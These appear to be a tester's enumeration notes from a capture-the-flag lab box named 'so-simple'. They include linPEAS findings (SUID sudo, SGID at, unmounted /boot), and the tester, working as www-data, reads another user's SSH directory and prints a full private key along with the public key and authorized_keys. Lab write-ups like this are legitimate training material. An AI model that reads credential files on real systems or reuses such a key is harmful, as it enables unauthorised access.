5 box enum_2

PEAS

╣ Unmounted file-system?
╚ Check if you can mount umounted devices
/dev/disk/by-uuid/f8dcd8ed-9656-4c4f-b65c-c974246a8716 /boot ext4 defaults 0 0

╣ Possible private SSH keys were found!
/home/max/.ssh/id_rsa

#SUID
-rwsr-xr-x 1 root root 163K Feb  3  2020 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

#SGID
-rwsr-sr-x 1 daemon daemon 55K Nov 12  2018 /usr/bin/at

# We can read /home/max/.ssh/*
www-data@so-simple:/home/max/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAx231yVBZBsJXe/VOtPEjNCQXoK+p5HsA74EJR7QoI+bsuarBd4Cd
mnckYREKpbjS4LLmN7awDGa8rbAuYq8JcXPdOOZ4bjMknONbcfc+u/6OHwcvu6mhiW/zdS
DKJxxH+OhVhblmgqHnY4U19ZfyL3/sIpvpQ1SVhwBHDkWPO4AJpwhoL4J8AbqtS526LBdL
KhhC+tThhG5d7PfUZMzMqyvWQ+L53aXRL1MaFYNcahgzzk0xt2CJsCWDkAlacuxtXoQHp9
SrMYTW6P+CMEoyQ3wkVRRF7oN7x4mBD8zdSM1wc3UilRN1sep20AdE9PE3KHsImrcMGXI3
D1ajf9C3exrIMSycv9Xo6xiHlzKUoVcrFadoHnyLI4UgWeM23YDTP1Z05KIJrovIzUtjuN
pHSQIL0SxEF/hOudjJLxXxDDv/ExXDEXZgK5J2d24RwZg9kYuafDFhRLYXpFYekBr0D7z/
qE5QtjS14+6JgQS9he3ZIZHucayi2B5IQoKGsgGzAAAFiMF1atXBdWrVAAAAB3NzaC1yc2
EAAAGBAMdt9clQWQbCV3v1TrTxIzQkF6CvqeR7AO+BCUe0KCPm7LmqwXeAnZp3JGERCqW4
0uCy5je2sAxmvK2wLmKvCXFz3TjmeG4zJJzjW3H3Prv+jh8HL7upoYlv83UgyiccR/joVY
W5ZoKh52OFNfWX8i9/7CKb6UNUlYcARw5FjzuACacIaC+CfAG6rUuduiwXSyoYQvrU4YRu
Xez31GTMzKsr1kPi+d2l0S9TGhWDXGoYM85NMbdgibAlg5AJWnLsbV6EB6fUqzGE1uj/gj
BKMkN8JFUURe6De8eJgQ/M3UjNcHN1IpUTdbHqdtAHRPTxNyh7CJq3DBlyNw9Wo3/Qt3sa
yDEsnL/V6OsYh5cylKFXKxWnaB58iyOFIFnjNt2A0z9WdOSiCa6LyM1LY7jaR0kCC9EsRB
f4TrnYyS8V8Qw7/xMVwxF2YCuSdnduEcGYPZGLmnwxYUS2F6RWHpAa9A+8/6hOULY0tePu
iYEEvYXt2SGR7nGsotgeSEKChrIBswAAAAMBAAEAAAGBAJ6Z/JaVp7eQZzLV7DpKa8zTx1
arXVmv2RagcFjuFd43kJw4CJSZXL2zcuMfQnB5hHveyugUCf5S1krrinhA7CmmE5Fk+PHr
Cnsa9Wa1Utb/otdaR8PfK/C5b8z+vsZL35E8dIdc4wGQ8QxcrIUcyiasfYcop2I8qo4q0l
evSjHvqb2FGhZul2BordktHxphjA12Lg59rrw7acdDcU6Y8UxQGJ70q/JyJOKWHHBvf9eA
V/MBwUAtLlNAAllSlvQ+wXKunTBxwHDZ3ia3a5TCAFNhS3p0WnWcbvVBgnNgkGp/Z/Kvob
Jcdi1nKfi0w0/oFzpQA9a8gCPw9abUnAYKaKCFlW4h1Ke21F0qAeBnaGuyVjL+Qedp6kPF
zORHt816j+9lMfqDsJjpsR1a0kqtWJX8O6fZfgFLxSGPlB9I6hc/kPOBD+PVTmhIsa4+CN
f6D3m4Z15YJ9TEodSIuY47OiCRXqRItQkUMGGsdTf4c8snpor6fPbzkEPoolrj+Ua1wQAA
AMBxfIybC03A0M9v1jFZSCysk5CcJwR7s3yq/0UqrzwS5lLxbXgEjE6It9QnKavJ0UEFWq
g8RMNip75Rlg+AAoTH2DX0QQXhQ5tV2j0NZeQydoV7Z3dMgwWY+vFwJT4jf1V1yvw2kuNQ
N3YS+1sxvxMWxWh28K+UtkbfaQbtyVBcrNS5UkIyiDx/OEGIq5QHGiNBvnd5gZCjdazueh
cQaj26Nmy8JCcnjiqKlJWXoleCdGZ48PdQfpNUbs5UkXTCIV8AAADBAPtx1p6+LgxGfH7n
NsJZXSWKys4XVLOFcQK/GnheAr36bAyCPk4wR+q7CrdrHwn0L22vgx2Bb9LhMsM9FzpUAk
AiXAOSwqA8FqZuGIzmYBV1YUm9TLI/b01tCrO2+prFxbbqxjq9X3gmRTu+Vyuz1mR+/Bpn
+q8Xakx9+xgFOnVxhZ1fxCFQO1FoGOdfhgyDF1IekET9zrnbs/MmpUHpA7LpvnOTMwMXxh
LaFugPsoLF3ZZcNc6pLzS2h3D5YOFyfwAAAMEAywriLVyBnLmfh5PIwbAhM/B9qMgbbCeN
pgVr82fDG6mg8FycM7iU4E6f7OvbFE8UhxaA28nLHKJqiobZgqLeb2/EsGoEg5Y5v7P8pM
uNiCzAdSu+RLC0CHf1YOoLWn3smE86CmkcBkAOjk89zIh2nPkrv++thFYTFQnAxmjNsWyP
m0Qa+EvvCAajPHDTCR46n2vvMANUFIRhwtDdCeDzzURs1XJCMeiXD+0ovg/mzg2bp1bYp3
2KtNjtorSgKa7NAAAADnJvb3RAc28tc2ltcGxlAQIDBA==
-----END OPENSSH PRIVATE KEY-----

www-data@so-simple:/home/max/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHbfXJUFkGwld79U608SM0JBegr6nkewDvgQlHtCgj5uy5qsF3gJ2adyRhEQqluNLgsuY3trAMZrytsC5irwlxc9045nhuMySc41tx9z67/o4fBy+7qaGJb/N1IMonHEf46FWFuWaCoedjhTX1l/Ivf+wim+lDVJWHAEcORY87gAmnCGgvgnwBuq1LnbosF0sqGEL61OGEbl3s99RkzMyrK9ZD4vndpdEvUxoVg1xqGDPOTTG3YImwJYOQCVpy7G1ehAen1KsxhNbo/4IwSjJDfCRVFEXug3vHiYEPzN1IzXBzdSKVE3Wx6nbQB0T08TcoewiatwwZcjcPVqN/0Ld7GsgxLJy/1ejrGIeXMpShVysVp2gefIsjhSBZ4zbdgNM/VnTkogmui8jNS2O42kdJAgvRLEQX+E652MkvFfEMO/8TFcMRdmArknZ3bhHBmD2Ri5p8MWFEthekVh6QGvQPvP+oTlC2NLXj7omBBL2F7dkhke5xrKLYHkhCgoayAbM= root@so-simple

www-data@so-simple:/home/max/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHbfXJUFkGwld79U608SM0JBegr6nkewDvgQlHtCgj5uy5qsF3gJ2adyRhEQqluNLgsuY3trAMZrytsC5irwlxc9045nhuMySc41tx9z67/o4fBy+7qaGJb/N1IMonHEf46FWFuWaCoedjhTX1l/Ivf+wim+lDVJWHAEcORY87gAmnCGgvgnwBuq1LnbosF0sqGEL61OGEbl3s99RkzMyrK9ZD4vndpdEvUxoVg1xqGDPOTTG3YImwJYOQCVpy7G1ehAen1KsxhNbo/4IwSjJDfCRVFEXug3vHiYEPzN1IzXBzdSKVE3Wx6nbQB0T08TcoewiatwwZcjcPVqN/0Ld7GsgxLJy/1ejrGIeXMpShVysVp2gefIsjhSBZ4zbdgNM/VnTkogmui8jNS2O42kdJAgvRLEQX+E652MkvFfEMO/8TFcMRdmArknZ3bhHBmD2Ri5p8MWFEthekVh6QGvQPvP+oTlC2NLXj7omBBL2F7dkhke5xrKLYHkhCgoayAbM= root@so-simple